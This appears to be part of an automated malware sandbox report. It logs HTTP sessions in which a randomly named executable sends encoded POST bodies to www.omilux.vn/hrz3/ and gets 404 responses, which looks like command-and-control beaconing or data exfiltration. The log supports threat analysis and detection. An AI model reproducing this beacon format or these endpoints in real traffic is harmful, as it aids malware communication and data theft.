                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        33192.168.2.759302103.28.36.189806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:32.917347908 CEST652OUTPOST /hrz3/ HTTP/1.1
                                                        Host: www.omilux.vn
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.omilux.vn
                                                        Referer: http://www.omilux.vn/hrz3/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 53 6d 5a 4a 30 42 57 70 4d 43 34 44 46 58 41 6b 70 49 51 6e 43 45 79 59 31 74 74 4b 51 59 71 48 49 6c 36 30 55 74 6b 4b 4e 45 4b 47 45 6b 51 47 42 47 64 68 67 30 58 4a 6d 71 45 4a 64 68 76 43 75 35 6e 66 55 43 6b 42 45 53 31 38 42 43 34 4b 2f 74 39 34 64 57 41 73 70 44 4b 43 6a 74 6e 2f 67 41 65 2f 56 2f 38 6d 56 72 35 37 47 52 37 50 30 58 4e 59 4e 64 2b 57 5a 70 65 53 38 57 39 68 63 43 36 45 47 6f 46 4e 47 45 66 31 41 36 36 4f 52 61 35 76 51 63 43 2b 46 4b 45 46 39 78 41 35 36 42 31 63 4c 37 4c 74 4c 49 37 4f 57 75 6f 33 31 71 41 64 57 64 72 4d 45 57 72 41 35 6d 4a 37 4a 34 61 43 5a 72 73 4b 67 49 59 71 53 4a 30 6d 4d 41 3d 3d
                                                        Data Ascii: MNodJD8p=SmZJ0BWpMC4DFXAkpIQnCEyY1ttKQYqHIl60UtkKNEKGEkQGBGdhg0XJmqEJdhvCu5nfUCkBES18BC4K/t94dWAspDKCjtn/gAe/V/8mVr57GR7P0XNYNd+WZpeS8W9hcC6EGoFNGEf1A66ORa5vQcC+FKEF9xA56B1cL7LtLI7OWuo31qAdWdrMEWrA5mJ7J4aCZrsKgIYqSJ0mMA==
                                                        May 27, 2024 12:29:33.997133017 CEST1236INHTTP/1.1 404 Not Found
                                                        Connection: close
                                                        expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                        cache-control: no-cache, must-revalidate, max-age=0
                                                        content-type: text/html; charset=UTF-8
                                                        link: <https://omilux.vn/wp-json/>; rel="https://api.w.org/"
                                                        transfer-encoding: chunked
                                                        content-encoding: br
                                                        vary: Accept-Encoding
                                                        date: Mon, 27 May 2024 10:29:32 GMT
                                                        server: LiteSpeed
                                                        Data Raw: 63 30 39 0d 0a 60 28 02 80 fc a9 99 7e 9d 6d 2a 08 9a 48 a4 03 90 20 75 53 a6 8f 1c c7 b5 da f1 40 c0 23 89 5d 12 40 00 50 a2 22 b3 fe d3 ff a2 4c f5 af a3 4a 4a 57 95 ff 6f ae 7c fe ea 2a 2b 5c 95 2a 5b f3 ff 4c 0e 93 23 84 81 6c 2e bb 07 4c d9 2d 11 58 36 02 80 5d 95 ac 93 7d 8c 59 37 e7 bf 01 82 93 ec 4a 53 8f 12 60 7a b2 ce f5 67 bf 55 15 fa e8 3d b4 43 77 4f d0 e3 26 74 6d 6b 56 53 4a 7c 52 54 be 1e 05 3b d4 1a 2e 95 ae a9 57 01 90 36 f4 de e3 27 68 66 33 8e e0 ba 6f 37 d4 36 21 aa 03 b0 f8 9e c4 2f 27 d1 47 ef c5 77 4f 1e 4f 28 7d c2 ac 1e da 02 e7 a2 f1 8b af 4b b2 a6 68 b8 f3 10 4a 1c b6 79 af d8 38 eb 4c a5 5a 28 48 7e 17 75 67 eb c4 b8 3a 1d 2a 9d 66 19 a6 6b 4a d7 47 2e 1e 8e 17 65 3a d5 f6 43 72 d2 e9 d0 b5 ce 8a c4 36 d6 d6 e4 9b 37 1e fb ea 02 ec 9f cc 05 70 b0 26 74 6d 7c 6d 42 d7 26 7e e1 ca e7 bc 03 54 22 43 25 b8 47 a4 87 a3 d0 57 76 38 a6 64 7e ef e7 f1 18 47 d2 88 be 03 1d 92 7f 5a 79 af 6d 77 02 37 8f 09 3f f9 6d 1b 73 67 8e 26 f8 f9 9c 25 dd e6 da 74 44 40 30 41 b5 e7 b5 36 47 [TRUNCATED]
                                                        Data Ascii: c09`(~m*H uS@#]@P"LJJWo|*+\*[L#l.L-X6]}Y7JS`zgU=CwO&tmkVSJ|RT;.W6'hf3o76!/'GwOO(}KhJy8LZ(H~ug:*fkJG.e:Cr67p&tm|mB&~T"C%GWv8d~GZymw7?msg&%tD@0A6G&FS2W^~'3fg<26NUhV?/P~uE5!X_p:xgu}~$z0)M/yHXA!>|oPPF!$.O*G:$({g4a5[0d9CbPVuNVQ/8!?g/{~`jL3'*nYXN,1$V)hLpZ3a=8:^{+:[.+mki,5uRR`&DerK7V(mmZt~;|F}x?FoCA%F`C+~Qn\Z^1#qsA&T2p;j._;>/{
                                                        May 27, 2024 12:29:33.997184992 CEST224INData Raw: 53 ba 1e f1 48 f0 2f 3d b8 0b 55 da f6 01 17 58 33 c0 b4 5b 82 d6 07 1e ef 82 68 b7 f1 6e cc 2b 30 89 76 9c 26 c2 5e 49 a2 da ec e6 26 db 9c 36 97 da d3 5e 4d 48 0c a2 99 67 82 e6 39 e7 98 93 d8 84 f2 55 55 46 07 9f d4 c6 d4 2d 70 ab 7c 22 4c 87
                                                        Data Ascii: SH/=UX3[hn+0v&^I&6^MHg9UUF-p|"L]TG|}_]QP:5P\.)66IUEq?X/l3A]{HxHOqaT%lM>lCV]
                                                        May 27, 2024 12:29:33.997531891 CEST1236INData Raw: a9 a6 19 e1 4f f5 29 d1 9f ea f7 ae cb fd 29 c1 f4 4e 24 5d 05 84 d1 82 07 56 08 cf 70 50 dc 27 fb 90 9e 2d 55 d6 13 0e e9 bd 37 04 d6 6f 9d 3a 68 81 7b 48 3a a5 93 7b ff f4 04 ae 5c 27 79 b2 c2 e3 b8 bf 49 1f 4d 34 99 15 95 6a a7 f1 3e 18 5a 8f
                                                        Data Ascii: O))N$]VpP'-U7o:h{H:{\'yIM4j>ZOIQz3* zi!Y=-U&k'[f&#K'D>MZpAFT$1I[BTI0h8rnaeyF&#E&C(DBIl_c:O
                                                        May 27, 2024 12:29:33.997561932 CEST761INData Raw: 71 e1 9a 06 63 0e 26 07 39 b6 3d d0 da 71 a9 dc 5f 61 97 e5 bc 64 d1 2a 0d dc 41 7e b1 28 5b ac 24 d4 64 ca 98 64 db 25 99 b2 f5 6e 01 8b 98 cf 57 8a ed 9d 6d 81 0a d7 fb c6 8a 3f b8 58 42 0e 4b 32 5d 6e f2 ac 3a a2 15 7b 93 4c f9 31 93 15 58 f7
                                                        Data Ascii: qc&9=q_ad*A~([$dd%nWm?XBK2]n:{L1Xh*YV%S%!+GU'zW22]ozm^)<N*n'S|bno7\,n%E&6:'e9[l32e%1.]br1 :yWoL&r.JPWc7}d
                                                        May 27, 2024 12:29:34.002194881 CEST1236INData Raw: 65 34 36 0d 0a a8 c6 01 40 2e 5b 5a 6f e6 78 fc bb 70 65 1d 67 a4 46 60 13 62 b3 f1 ec 71 5d a9 94 0c 02 34 11 6a ad 24 1f 19 8a 9f 5f 2b f5 29 c9 ca 1a 81 ba 92 51 e8 54 f8 07 5f cc de 4c 68 b7 10 00 98 0b f0 7b ef ff a1 dd bd 66 ef 4a 01 26 57
                                                        Data Ascii: e46@.[ZoxpegF`bq]4j$_+)QT_Lh{fJ&W&WY!dC] ""bk,aLS4TRQl7+(;#Fsh%VX}*y#ts51w(Pj**xGGotQp)r#XC6j%
                                                        May 27, 2024 12:29:34.002230883 CEST224INData Raw: d2 33 e0 a1 e7 c6 af 4a 94 f9 78 5e 6f 76 14 bb db 2a 0f 23 7d 12 14 ec a6 69 7f 0b 1d 6f 7b d8 cc 00 26 6a c5 3b 97 b3 08 7b 2f fb 52 83 9c fb 10 59 d6 b4 f6 5d c0 c6 d0 b1 ed 8c f4 6a 97 52 0b 79 c5 bc df 65 88 a3 29 c3 a0 4f d9 1a 6f 31 0f 33
                                                        Data Ascii: 3Jx^ov*#}io{&j;{/RY]jRye)Oo136AvtXcrU|mW{)R|_"6!.a;&5czP";WE9-vgbvM0J+~6`(/w:ZY~^
                                                        May 27, 2024 12:29:34.002342939 CEST1236INData Raw: ab 3d 4f c0 9f ca 75 ab 04 bc 2a c6 28 bd f5 30 d2 0a 4f 3b 83 a2 29 87 49 63 8b d0 d2 79 d6 78 72 4e b5 66 88 14 5f 17 97 75 b1 57 68 29 08 fa bd 0a f7 69 68 b3 54 33 ed 07 00 8f 22 df 16 97 7c fb 40 e1 e6 db ff 06 e9 9c 51 3c d2 b1 19 38 02 d7
                                                        Data Ascii: =Ou*(0O;)IcyxrNf_uWh)ihT3"|@Q<8NXZpo70v~5N4g59j}PBc(t6cw4f&x<(yx23z:Fo/]o<nq[`YddC~+.GsD}Rg
                                                        May 27, 2024 12:29:34.002373934 CEST224INData Raw: 48 1f 1f 0d 49 31 50 0b a9 56 fb 51 1b 24 32 35 60 b2 10 0b 9f 57 a7 40 f7 86 d9 3c e3 06 c2 ee 5e 9d b4 3a 73 76 2f 0a 42 3a bb 81 2f b4 31 5a 07 08 95 9e 83 08 ca 27 03 36 c3 de a6 4e 1b d3 53 83 74 27 31 cc 26 0f aa 8c 3b 38 98 d6 42 11 4c 13
                                                        Data Ascii: HI1PVQ$25`W@<^:sv/B:/1Z'6NSt'1&;8BL}=h#r"G@AaUdAG%KCQiZ|y(kJW7NB7E,9,9-qWIUv}p<+gW|C%
                                                        May 27, 2024 12:29:34.006562948 CEST1236INData Raw: a8 21 29 88 c4 67 9e 31 1c 9b 46 85 40 54 66 3d 19 6f 31 25 bd 06 4f 99 a9 00 e4 84 d5 19 20 30 6e 25 01 9e b0 b5 26 2a a5 ba 24 f4 87 0f 90 76 16 41 72 20 2f c2 97 af fe f2 32 ce 8d c4 7b 18 3d 9a d5 e7 04 24 66 c3 27 00 72 71 77 55 bb 7e d3 bc
                                                        Data Ascii: !)g1F@Tf=o1%O 0n%&*$vAr /2{=$f'rqwU~}sqU/]zw28B@3,>g{P>E=HmUiq GN1R>`6lejpmfox#IA0jNwLG{T4Ccic%c5|5Xn80
                                                        May 27, 2024 12:29:34.006588936 CEST881INData Raw: 7b 50 f4 01 8c a2 c2 a3 bb 80 b0 0a 50 64 4a 84 e0 a6 3f 11 40 33 13 2f a4 c3 d7 c5 02 a1 fd 70 3e 9d 3c 5e a2 86 35 7a 9b 65 d3 34 91 69 65 4e 71 34 46 29 cd 86 f3 09 c3 59 ab e9 b1 bb 1c 30 85 cf 22 57 0b ac d3 01 81 62 c0 a0 68 90 47 a3 1c 42
                                                        Data Ascii: {PPdJ?@3/p><^5ze4ieNq4F)Y0"WbhGBuY"+Aur9qWbvVV3dV,cyO/[J<|cYG_a8` s E`rV=qwVxb3nU(Do;?G0|'@I
                                                        May 27, 2024 12:29:34.016591072 CEST1236INData Raw: 38 31 62 0d 0a a0 35 01 40 fc 7f 9d f6 d5 a6 a9 ee d7 86 4e 6b 70 9a cc 0f 21 57 3e 32 c8 92 ce c0 7b fa 20 1c ea 3d fd e6 2a c4 e4 cd cc 9f a6 c7 ff 5a d6 8c c3 ca 93 57 94 47 18 84 7e ff 77 8b d9 20 66 2f 84 a4 48 a9 fb f7 6c 4f 20 84 a4 42 8e
                                                        Data Ascii: 81b5@Nkp!W>2{ =*ZWG~w f/HlO Bs+O0+c8CBBbZ/4%<I/]u+ZJndR1eK599%P2]kAo5U1JRQ/@tO/zm~tAlb4&6`-


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        34192.168.2.759303103.28.36.189806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:35.445238113 CEST672OUTPOST /hrz3/ HTTP/1.1
                                                        Host: www.omilux.vn
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.omilux.vn
                                                        Referer: http://www.omilux.vn/hrz3/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 53 6d 5a 4a 30 42 57 70 4d 43 34 44 48 79 49 6b 72 72 34 6e 4c 45 79 62 77 74 74 4b 5a 34 72 76 49 6c 2b 30 55 6f 46 50 4d 32 75 47 45 47 59 47 41 44 68 68 6e 30 58 4a 75 4b 45 4d 51 42 76 64 75 35 62 74 55 44 49 42 45 53 68 38 42 41 77 4b 38 63 39 35 62 47 41 75 6a 54 4b 45 6e 74 6e 2f 67 41 65 2f 56 2f 70 4e 56 72 68 37 46 6c 48 50 7a 46 6c 66 45 39 2b 5a 4e 35 65 53 34 57 39 6c 63 43 37 68 47 73 4e 6e 47 43 62 31 41 37 4b 4f 53 49 52 73 4a 4d 43 34 4c 71 46 4a 31 68 5a 64 36 78 52 47 47 71 65 35 4d 72 37 30 61 34 31 56 76 49 4d 78 49 4d 54 33 41 55 50 32 75 41 55 4f 4c 35 65 61 55 4a 59 72 2f 2f 39 41 66 62 56 69 61 7a 47 6a 71 57 59 70 58 50 49 53 78 31 70 74 76 5a 54 45 69 57 49 3d
                                                        Data Ascii: MNodJD8p=SmZJ0BWpMC4DHyIkrr4nLEybwttKZ4rvIl+0UoFPM2uGEGYGADhhn0XJuKEMQBvdu5btUDIBESh8BAwK8c95bGAujTKEntn/gAe/V/pNVrh7FlHPzFlfE9+ZN5eS4W9lcC7hGsNnGCb1A7KOSIRsJMC4LqFJ1hZd6xRGGqe5Mr70a41VvIMxIMT3AUP2uAUOL5eaUJYr//9AfbViazGjqWYpXPISx1ptvZTEiWI=
                                                        May 27, 2024 12:29:36.518595934 CEST1236INHTTP/1.1 404 Not Found
                                                        Connection: close
                                                        expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                        cache-control: no-cache, must-revalidate, max-age=0
                                                        content-type: text/html; charset=UTF-8
                                                        link: <https://omilux.vn/wp-json/>; rel="https://api.w.org/"
                                                        transfer-encoding: chunked
                                                        content-encoding: br
                                                        vary: Accept-Encoding
                                                        date: Mon, 27 May 2024 10:29:35 GMT
                                                        server: LiteSpeed
                                                        Data Raw: 63 30 39 0d 0a 60 28 02 80 fc a9 99 7e 9d 6d 2a 08 9a 48 a4 03 90 20 75 53 a6 8f 1c c7 b5 da f1 40 c0 23 89 5d 12 40 00 50 a2 22 b3 fe d3 ff a2 4c f5 af a3 4a 4a 57 95 ff 6f ae 7c fe ea 2a 2b 5c 95 2a 5b f3 ff 4c 0e 93 23 84 81 6c 2e bb 07 4c d9 2d 11 58 36 02 80 5d 95 ac 93 7d 8c 59 37 e7 bf 01 82 93 ec 4a 53 8f 12 60 7a b2 ce f5 67 bf 55 15 fa e8 3d b4 43 77 4f d0 e3 26 74 6d 6b 56 53 4a 7c 52 54 be 1e 05 3b d4 1a 2e 95 ae a9 57 01 90 36 f4 de e3 27 68 66 33 8e e0 ba 6f 37 d4 36 21 aa 03 b0 f8 9e c4 2f 27 d1 47 ef c5 77 4f 1e 4f 28 7d c2 ac 1e da 02 e7 a2 f1 8b af 4b b2 a6 68 b8 f3 10 4a 1c b6 79 af d8 38 eb 4c a5 5a 28 48 7e 17 75 67 eb c4 b8 3a 1d 2a 9d 66 19 a6 6b 4a d7 47 2e 1e 8e 17 65 3a d5 f6 43 72 d2 e9 d0 b5 ce 8a c4 36 d6 d6 e4 9b 37 1e fb ea 02 ec 9f cc 05 70 b0 26 74 6d 7c 6d 42 d7 26 7e e1 ca e7 bc 03 54 22 43 25 b8 47 a4 87 a3 d0 57 76 38 a6 64 7e ef e7 f1 18 47 d2 88 be 03 1d 92 7f 5a 79 af 6d 77 02 37 8f 09 3f f9 6d 1b 73 67 8e 26 f8 f9 9c 25 dd e6 da 74 44 40 30 41 b5 e7 b5 36 47 [TRUNCATED]
                                                        Data Ascii: c09`(~m*H uS@#]@P"LJJWo|*+\*[L#l.L-X6]}Y7JS`zgU=CwO&tmkVSJ|RT;.W6'hf3o76!/'GwOO(}KhJy8LZ(H~ug:*fkJG.e:Cr67p&tm|mB&~T"C%GWv8d~GZymw7?msg&%tD@0A6G&FS2W^~'3fg<26NUhV?/P~uE5!X_p:xgu}~$z0)M/yHXA!>|oPPF!$.O*G:$({g4a5[0d9CbPVuNVQ/8!?g/{~`jL3'*nYXN,1$V)hLpZ3a=8:^{+:[.+mki,5uRR`&DerK7V(mmZt~;|F}x?FoCA%F`C+~Qn\Z^1#qsA&T2p;j._;>/{
                                                        May 27, 2024 12:29:36.518655062 CEST1236INData Raw: 53 ba 1e f1 48 f0 2f 3d b8 0b 55 da f6 01 17 58 33 c0 b4 5b 82 d6 07 1e ef 82 68 b7 f1 6e cc 2b 30 89 76 9c 26 c2 5e 49 a2 da ec e6 26 db 9c 36 97 da d3 5e 4d 48 0c a2 99 67 82 e6 39 e7 98 93 d8 84 f2 55 55 46 07 9f d4 c6 d4 2d 70 ab 7c 22 4c 87
                                                        Data Ascii: SH/=UX3[hn+0v&^I&6^MHg9UUF-p|"L]TG|}_]QP:5P\.)66IUEq?X/l3A]{HxHOqaT%lM>lCV]O))N$
                                                        May 27, 2024 12:29:36.518696070 CEST448INData Raw: 6d 48 b6 c6 f1 ca b7 13 5b f1 ed 66 4f b7 4e 76 8c 64 8b 15 2f 18 a4 b1 cc cd 44 7b 0b 25 b1 c8 ed c0 2d ba 68 21 7f d1 02 a4 f5 bb a8 98 6e 38 63 b2 82 41 21 0e 96 e5 39 61 24 cf 17 e3 33 1f 3b 0d 8a e8 19 8e 0f 2a d0 4e 69 5a ca 77 95 56 0d d0
                                                        Data Ascii: mH[fONvd/D{%-h!n8cA!9a$3;*NiZwVR2ES:X6.VW1},YaQZ=vtmzJoW-y.#H+7}2{zw@k/48^LH./E,'MPlQuR@Sqc&9=q_a
                                                        May 27, 2024 12:29:36.519730091 CEST1236INData Raw: f4 26 72 e2 2e 4a 50 08 57 63 37 7d 0d 17 fd 64 92 9a be 06 b1 12 03 0c 21 bb 57 69 e3 49 4c 57 d3 65 85 18 78 44 0b 55 38 8d de 42 15 4e b4 de 62 8e 20 18 96 18 a7 a0 25 9d cc a9 d1 5a b8 55 ba d0 35 f5 aa 24 15 d0 46 c3 98 e0 12 ce a0 e0 a0 64
                                                        Data Ascii: &r.JPWc7}d!WiILWexDU8BNb %ZU5$Fdq4PiXQ0%H.2hTd!$DZx.jR\sVQf]"]+yXt-Ze){3 jd/{tg*tm
                                                        May 27, 2024 12:29:36.519764900 CEST1236INData Raw: cd cc 47 2b 7d 76 fc 5d 20 fb 24 8b 39 1e 9f b7 3a fe fe cb d7 ef 37 6e d7 f3 97 5f 3f 03 21 9c bb b7 fa d6 87 d6 17 6c ed 67 73 3e 72 9f 17 9a 4c 82 fe 6b 6d 0c 1e e4 aa dd 65 be 4b d0 f2 d3 26 ef 23 bd f7 e0 45 fe 24 df fe e4 55 08 30 2f ca e3
                                                        Data Ascii: G+}v] $9:7n_?!lgs>rLkmeK&#E$U0/>Wx4cwI_$Ix7m!`QB"t]F\*4lqpy}c{`Ns{p_L3*\nkH}5Ge5I8hLe33
                                                        May 27, 2024 12:29:36.519800901 CEST1236INData Raw: 6e 57 e5 81 42 e5 cd 4c b2 a0 d9 0c 67 c6 ce 52 bc ae 7e 75 75 e7 02 36 b7 f2 34 1d 0e e0 98 60 eb 2e 30 13 ec fb 00 5a 79 82 3d 18 0d 7b 90 93 93 c6 50 d8 e4 23 08 a8 f4 b5 c9 73 cc ce 6f dd 05 dc 44 65 f7 3f 43 b9 d9 ba cb 0a 26 d0 a2 bb de c3
                                                        Data Ascii: nWBLgR~uu64`.0Zy={P#soDe?C&3.qH;V:)oL3ZyL`9aAtUyhGnS2&C4[Mo(+(c(?F2@!?u0hctX ,EOlePP|=(Y~d
                                                        May 27, 2024 12:29:36.519838095 CEST490INData Raw: 38 0d 03 34 da 3e 85 ca 86 64 a4 5d 6e a8 ee 81 5a 19 92 ba 3e ac 15 10 b2 66 6e 19 9c b4 a1 41 50 46 48 13 6b 56 ed c8 4d 5e 6a 97 82 f5 6a 65 64 56 58 63 23 84 40 21 8b 15 0e a4 d2 0a 2b 8c 7e c3 ad 3c d9 f1 34 7d 9a 03 8d 33 16 26 ec 7b fa cd
                                                        Data Ascii: 84>d]nZ>fnAPFHkVM^jjedVXc#@!+~<4}3&{uQXpXU_DeHyg8^o6]'GgOC_sI51dxY0Cd|,O,V|ZS\prcQzKzTs0t8:X4L^Wy?,iWjpuTn
                                                        May 27, 2024 12:29:36.532567978 CEST1236INData Raw: 35 35 39 0d 0a f8 ff 00 40 fe 74 fa 55 a3 a6 7a a3 ed 76 06 21 64 30 96 83 36 5d a8 42 6e 77 64 10 46 f7 85 a4 11 c2 78 53 f5 8b 6a cb ab 72 ec be 4b 76 ae e9 f9 6b bf d6 02 ad da 74 5a 7c fb f6 4c db 3f 92 98 ee 9e a8 62 16 19 b2 35 b1 46 6a a2
                                                        Data Ascii: 559@tUzv!d06]BnwdFxSjrKvktZ|L?b5Fj9F`ch~iqusOuN%P$}xB=[W>+xzAnCkG\oG\'a~'=y_-y\o!z;B_{gi/vV
                                                        May 27, 2024 12:29:36.532601118 CEST224INData Raw: 8f a6 23 68 30 a7 b8 38 98 91 23 88 47 9d 41 c4 3a 81 92 04 69 83 7c c7 f9 ae 26 32 63 3f 00 ea 12 1d 5a 2b 75 70 b8 0b dd 6c 29 85 14 f2 6a 4b 29 c4 91 25 08 42 34 1e e8 74 77 d6 c6 d5 37 8c 02 23 a4 07 cd 88 5e 58 ec 33 2d a2 93 4f cc 29 6d 77
                                                        Data Ascii: #h08#GA:i|&2c?Z+upl)jK)%B4tw7#^X3-O)mwB3S>3G7!ddUrH4=\OsaL\qftE8165@.UZl}T!W#v$P{z*$gj\Bf'?J4fw@lT
                                                        May 27, 2024 12:29:36.532634020 CEST1236INData Raw: 00 39 9b b8 2f a3 ab 6a 74 4f bd aa ec 63 4c f7 4f 99 2f 24 50 41 b7 62 eb e7 87 62 58 09 5e 68 04 0d 21 15 40 cb 36 82 79 d2 cc 1f e9 ee 11 ca 8d f7 d8 7d 89 b2 75 2b 59 4a 7e 64 84 52 94 29 14 65 f1 cb 02 bc 6b 02 14 f4 7f 73 ea 19 29 39 45 a5
                                                        Data Ascii: 9/jtOcLO/$PAbbX^h!@6y}u+YJ~dR)eks)9E+ZQ+4`7Wy/Ur z!yzk nPa|n3Y+iX[Q50V,*2ra4njWk>W.veVv$\TF[q{
                                                        May 27, 2024 12:29:36.532670021 CEST757INData Raw: d4 ac da 20 8a 5a f8 de 92 4b e9 72 48 a8 c7 75 81 d9 4c 3b 1f 36 52 48 71 5a 91 9c b3 c7 df 29 a1 36 21 33 e2 30 05 93 01 33 0f f2 ed f4 a3 fc c7 d1 00 f6 b7 26 47 5f 50 82 48 46 43 d9 6f 3e 52 0a b3 cc 9e 13 8c fb 1a 65 ed ba 52 02 91 26 8b 02
                                                        Data Ascii: ZKrHuL;6RHqZ)6!303&G_PHFCo>ReR&[,q/bTb81yz4@8P{5W~Ko1c%u"*lGb5`70!og$QZrO'QoK;=T


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        35192.168.2.759304103.28.36.189806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:37.978142977 CEST1685OUTPOST /hrz3/ HTTP/1.1
                                                        Host: www.omilux.vn
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.omilux.vn
                                                        Referer: http://www.omilux.vn/hrz3/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 53 6d 5a 4a 30 42 57 70 4d 43 34 44 48 79 49 6b 72 72 34 6e 4c 45 79 62 77 74 74 4b 5a 34 72 76 49 6c 2b 30 55 6f 46 50 4d 32 6d 47 45 54 4d 47 42 67 4a 68 6d 30 58 4a 67 71 45 4e 51 42 75 42 75 35 43 6b 55 44 56 32 45 55 6c 38 51 56 6b 4b 35 76 6c 35 53 47 41 75 72 7a 4b 42 6a 74 6e 6d 67 41 75 37 56 2f 35 4e 56 72 68 37 46 6b 58 50 67 33 4e 66 47 39 2b 57 5a 70 65 4f 38 57 39 64 63 43 6a 62 47 73 42 64 48 78 54 31 46 72 61 4f 65 64 6c 73 57 63 43 36 49 71 45 55 31 68 6c 43 36 78 4e 73 47 72 62 69 4d 70 72 30 5a 4a 77 49 2b 63 63 32 56 63 58 57 42 6c 6a 44 6e 41 41 42 4d 76 6d 44 64 70 41 79 2f 50 46 4b 48 4d 64 76 58 6c 6e 58 2b 31 73 46 61 63 30 41 67 79 49 2b 2f 63 48 58 39 68 4c 6d 53 38 4e 68 4a 32 31 55 52 64 61 38 4b 34 4c 55 6a 4d 53 77 64 75 57 49 75 49 54 35 71 5a 45 51 45 62 39 31 42 2f 62 64 47 5a 54 76 6c 48 37 4a 4a 59 71 31 79 70 72 5a 35 63 32 42 6e 53 66 52 48 64 4b 65 68 39 34 43 4b 41 64 67 55 63 45 45 41 50 58 2f 51 54 52 49 75 6c 41 6a 4c 50 71 62 70 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=SmZJ0BWpMC4DHyIkrr4nLEybwttKZ4rvIl+0UoFPM2mGETMGBgJhm0XJgqENQBuBu5CkUDV2EUl8QVkK5vl5SGAurzKBjtnmgAu7V/5NVrh7FkXPg3NfG9+WZpeO8W9dcCjbGsBdHxT1FraOedlsWcC6IqEU1hlC6xNsGrbiMpr0ZJwI+cc2VcXWBljDnAABMvmDdpAy/PFKHMdvXlnX+1sFac0AgyI+/cHX9hLmS8NhJ21URda8K4LUjMSwduWIuIT5qZEQEb91B/bdGZTvlH7JJYq1yprZ5c2BnSfRHdKeh94CKAdgUcEEAPX/QTRIulAjLPqbpvDgMViF00p3tvD9zzl/Ua/ZMXqFig9JKLqPxe+Z/ygbPYJGtCvnK/uXWIDx94IMiRQNT1mdTtdKmci8Fhr8lc0zn/FaYQhoHZiYw+sKGwiYaebTJzBvirQ0XEcFYCtj9EsozJfn2KXFUJilrL1RjCImzuRyRMHRMSDq+Fd7Spx7rCAFw+6480vPWAP3eFKKt7u/bW1VNWuOmICq98wB6Z/w3fNQyZhiVtAPhmJMRvHm8m6S23nCBefUK1i5PJDL/5aPhFtlWaTjYzsoUj9pRblWiucm+t1fr6CYsYUvnyb2jYaH4zU5iBO1AN8AjmEQKl04HiZHl3zTYAlJqrLYf7a3ga3f4MhtB87R2bMVIoabA2oFVzM7wqCu7Y8Yh56EGNGou9VN8pE/7lQdlyKnBd5WB3QPOfqaqayCVmgR3OeAHh0sxx5Pn7L3U+gCGNfdLHzJUJDyCKtH2TbTALUOnc